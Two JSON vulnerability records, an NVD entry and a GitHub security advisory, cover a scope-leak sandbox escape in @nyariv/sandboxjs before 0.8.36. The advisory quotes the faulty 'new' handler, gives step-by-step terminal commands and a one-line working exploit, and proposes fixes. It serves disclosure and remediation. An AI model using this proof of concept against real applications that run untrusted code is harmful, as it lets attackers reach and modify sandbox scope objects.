{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:nyariv:sandboxjs:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "F87D3BD6-FACF-45C3-92E4-F411C229C9C6",
              "versionEndExcluding": "0.8.36",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, a scope modification vulnerability exists in @nyariv/sandboxjs. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution. This vulnerability is fixed in 0.8.36."
    }
  ],
  "id": "CVE-2026-34217",
  "lastModified": "2026-04-09T18:03:17.287",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 2.7,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 6.9,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "LOW",
          "vulnIntegrityImpact": "LOW",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-06T16:16:34.890",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-hg73-4w7g-q96w"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-hg73-4w7g-q96w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-668"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.35"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.36"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:45:38Z",
    "nvd_published_at": "2026-04-06T16:16:34Z",
    "severity": "MODERATE"
  },
  "details": "## Description\n\nA scope modification vulnerability exists in `@nyariv/sandboxjs` version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the `new` operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution.\n\n## Vulnerable Code Location\n\n### Primary: The `New` Operator Handler\n\n**File**: `src/executor.ts`, lines 1275\u20131280\n\n```typescript\naddOps\u003cnew (...args: unknown[]) =\u003e unknown, unknown[]\u003e(\n  LispType.New,\n  ({ done, a, b, context }) =\u003e {\n    if (!context.ctx.globalsWhitelist.has(a) \u0026\u0026 !context.ctx.sandboxedFunctions.has(a)) {\n      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);\n    }\n    done(undefined, new a(...b));  // \u2190 b is NOT sanitized, return is NOT sanitized\n  },\n);\n```\n\nThis handler has **two missing sanitization steps**:\n\n1. **Arguments (`b`) are not passed through `valueOrProp()`** \u2014 Constructor arguments contain raw `Prop` objects (internal interpreter wrappers) instead of extracted values.\n\n2. **Return value is not passed through `getGlobalProp()` or `sanitizeArray()`** \u2014 The constructed object is returned directly to the execution tree without any sanitization.\n\n### Comparison: The `Call` Handler (Correctly Implemented)\n\n**File**: `src/executor.ts`, lines 493\u2013605\n\n```typescript\naddOps\u003cunknown, Lisp[], any\u003e(LispType.Call, ({ done, a, b, obj, context }) =\u003e {\n  // ...\n  const vals = b\n    .map((item) =\u003e {\n      if (item instanceof SpreadArray) {\n        return [...item.item];\n      } else {\n        return [item];\n      }\n    })\n    .flat()\n    .map((item) =\u003e valueOrProp(item, context));  // \u2190 Arguments ARE sanitized\n  // ...\n  let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals));\n  ret = getGlobalProp(ret, context) || ret;  // \u2190 Return IS sanitized\n  sanitizeArray(ret, context);               // \u2190 Return IS sanitized\n  done(undefined, ret);\n});\n```\n\nThe `Call` handler correctly sanitizes both arguments (via `valueOrProp`) and return values (via `getGlobalProp` and `sanitizeArray`). The `New` handler does neither.\n\n---\n\n## Why This Is Vulnerable\n\n### Step 1: What is a Prop Object?\n\nThe sandbox interpreter wraps every value access in a `Prop` object (defined at `src/utils.ts`, lines 565\u2013582). A `Prop` has:\n\n```typescript\nclass Prop {\n  context: any;       // The object the property belongs to\n  prop: PropertyKey;  // The property name\n  isConst: boolean;\n  isGlobal: boolean;\n  isVariable: boolean;\n}\n```\n\nWhen sandboxed code accesses a variable like `isNaN`, the interpreter creates `Prop(scope.allVars, \u0027isNaN\u0027)`. The `context` field is a direct reference to the scope\u0027s variable storage object.\n\n### Step 2: What is in `scope.allVars`?\n\nAt the global scope level, `scope.allVars` is the same object as `options.globals` \u2014 the SAFE_GLOBALS object containing:\n\n```javascript\n{\n  globalThis: \u003creal globalThis\u003e,\n  Function: \u003creal Function constructor\u003e,\n  eval: \u003creal eval function\u003e,\n  console: { log: console.log, ... },\n  Array, Object, Map, Set, Promise, Date, Error, RegExp,\n  isNaN, parseInt, parseFloat, ...\n}\n```\n\nThese are the **real** host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map.\n\n### Step 3: How the Prop Leaks Through `new`\n\nWhen sandboxed code executes `new Constructor(someVariable)`:\n\n1. The interpreter evaluates `someVariable` \u2014 this produces a `Prop` object: `Prop(scope.allVars, \u0027someVariable\u0027)`\n2. The `New` handler receives this `Prop` as-is in the `b` array (no `valueOrProp()` call)\n3. `new Constructor(...[Prop])` passes the raw `Prop` object to the constructor function\n4. Inside the constructor, the `Prop` is received as a named parameter\n5. The constructor reads `arg.context` \u2014 this is the raw `scope.allVars` object containing all real globals\n6. The constructor stores this reference: `this.scope = arg.context`\n7. The constructed object is returned without sanitization\n\n## Proof of Concept\n\n### Step-by-Step Reproduction (Terminal)\n\n#### Step 1: Create a new directory and initialize\n\n```bash\nmkdir sandboxjs-poc\ncd sandboxjs-poc\nnpm init -y\n```\n\n#### Step 2: Set module type to ESM\n\n```bash\nnode -e \"const p=require(\u0027./package.json\u0027);p.type=\u0027module\u0027;require(\u0027fs\u0027).writeFileSync(\u0027package.json\u0027,JSON.stringify(p,null,2))\"\n```\n\n#### Step 3: Install the vulnerable package\n\n```bash\nnpm install @nyariv/sandboxjs@0.8.35\n```\n\n#### Step 4: Create the minimal exploit\n\n```bash\ncat \u003e exploit.mjs \u003c\u003c \u0027EOF\u0027\nimport pkg from \u0027@nyariv/sandboxjs\u0027;\nconst Sandbox = pkg.default || pkg;\nconst sandbox = new Sandbox();\nconst {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run();\nconsole.log(scope);\nEOF\n```\n\n#### Step 5: Run it\n\n```bash\nnode exploit.mjs\n```\n\n## Impact\n\nAn attacker who can control code executed inside the sandbox can modify scope variables above its current available scope\n\nThe attack requires **no authentication**, **no user interaction**, and works with **default sandbox configuration**. The only requirement is that the host application reads the return value from `sandbox.compile(code)({}).run()`, which is the standard and documented usage pattern.\n\n---\n\n## Suggested Remediation\n\n### Fix 1: Sanitize New Handler Arguments (Critical)\n\nAdd `valueOrProp()` to constructor arguments, matching the Call handler\u0027s behavior:\n\n```typescript\n// src/executor.ts line 1275-1280\naddOps\u003cnew (...args: unknown[]) =\u003e unknown, unknown[]\u003e(\n  LispType.New,\n  ({ done, a, b, context }) =\u003e {\n    if (!context.ctx.globalsWhitelist.has(a) \u0026\u0026 !context.ctx.sandboxedFunctions.has(a)) {\n      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);\n    }\n    const sanitizedArgs = b.map((item) =\u003e valueOrProp(item, context));\n    const result = new a(...sanitizedArgs);\n    const sanitized = getGlobalProp(result, context) || result;\n    sanitizeArray(sanitized, context);\n    done(undefined, sanitized);\n  },\n);\n```\n\n### Fix 2: Sanitize Sandbox Return Values (Defense in Depth)\n\nAdd deep sanitization in `Sandbox.ts` to strip internal references from any value returned to the host, regardless of how it was produced.\n\n### Fix 3: Freeze the Globals Object (Defense in Depth)\n\nFreeze or seal `options.globals` and `scope.allVars` after construction to prevent mutation via the Prop leak:\n\n```typescript\nObject.freeze(options.globals);\n```",
  "id": "GHSA-hg73-4w7g-q96w",
  "modified": "2026-04-06T23:18:33Z",
  "published": "2026-04-03T21:45:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-hg73-4w7g-q96w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34217"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/commit/abc02f657279e51a4aaad2bc8f99f3e37a01b287"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SandboxJS: Sandbox Escape via Prop Object Leak in New Handler"
}